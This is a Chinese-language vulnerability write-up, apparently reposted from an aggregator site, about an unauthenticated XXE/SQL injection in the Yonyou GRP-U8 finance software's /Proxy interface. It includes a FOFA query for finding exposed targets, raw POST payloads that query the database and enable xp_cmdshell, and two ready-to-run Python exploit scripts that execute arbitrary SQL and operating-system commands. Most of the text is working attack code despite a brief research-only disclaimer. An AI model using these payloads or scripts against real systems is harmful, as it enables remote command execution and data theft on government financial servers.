声明
本篇文章仅限技术学习与安全研究,切勿将文中所涉及的攻击手段用于非授权下渗透行为,造成任何后果与本文和作者无关。
一、漏洞详情
用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
二、漏洞描述
该漏洞源于应用程序解析XML输入时没有禁止外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
用友 GRP-U8 Proxy 接口存在 SQL 注入漏洞,攻击者通过漏洞可以获取服务器权限。
FOFA:title=“GRP-U8” 或 title=“用友 GRP-U8 行政事业内控管理软件”
三、利用条件
无需登录
四、漏洞POC
POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host: {{Hostname}}
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close
//查询数据库版本(MSSQL),并回显
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P
ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>
</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA><
/PARAM></PARAMS> </R9FUNCTION></R9PACKET>
//查询当前数据库名称
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><P
ARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA>
</PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select db_name()</DATA><
/PARAM></PARAMS> </R9FUNCTION></R9PACKET>
以POST方式发送如下几个Payload,开启 xp_cmdshell 操作,查询到当前数据库名称后,第一个包需要修改当前库名
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></
PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show adv
anced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdsh
ell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM><
/PARAMS></R9FUNCTION></R9PACKET>
//执行dir命令
cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><
DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PA
RAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></
PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "dir"</DAT
A></PARAM></PARAMS></R9FUNCTION></R9PACKET>
上面几个POC大概意思就是开启xp_cmdshell指令并刷新配置
USE master
EXEC sp_configure ‘show advanced options’,1 //启用xp_cmdshell的高级配置 RECONFIGURE --刷新配置
RECONFIGURE //先执行一次刷新,处理上次的配置
EXEC sp_configure ‘xp_cmdshell’,1 //打开xp_cmdshell,可以调用SQL系统 之外的命令
RECONFIGURE //刷新配置
五、利用脚本
GRP-U8_SQLinjection_POC
#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
print "Usage: python poc.py url sql"
sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
url = url + '/Proxy'
print url
data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
res = requests.post(url,headers=headers,data=data)
res = res.text
result_row = r'<ROW COLUMN1="(.*?)"'
ROW = re.findall(result_row,res,re.S | re.M)
print '查询成功!'
print ROW[0]
if __name__ == "__main__":
poc(sys.argv[1],sys.argv[2])
GRP-U8_SQLinjection_EXP文章来源:https://www.toymoban.com/news/detail-404991.html
#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
print "Usage: python exp.py url cmd"
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
url = url+ '/Proxy'
print url
data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
res = requests.post(url,headers=headers,data=data)
res = res.text
result_row = r'<ROW output="(.*?)" />'
ROW = re.findall(result_row,res,re.S | re.M)
print '命令执行成功!'
for i in range(len(ROW)):
print ROW[i]
if __name__ == "__main__":
exp(sys.argv[1],sys.argv[2])
六、漏洞代码分析
可参考文章:https://baijiahao.baidu.com/s?id=1681131145841849209&wfr=spider&for=pc文章来源地址https://www.toymoban.com/news/detail-404991.html
到了这里,关于用友 GRP-U8 Proxy XXE-SQL注入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!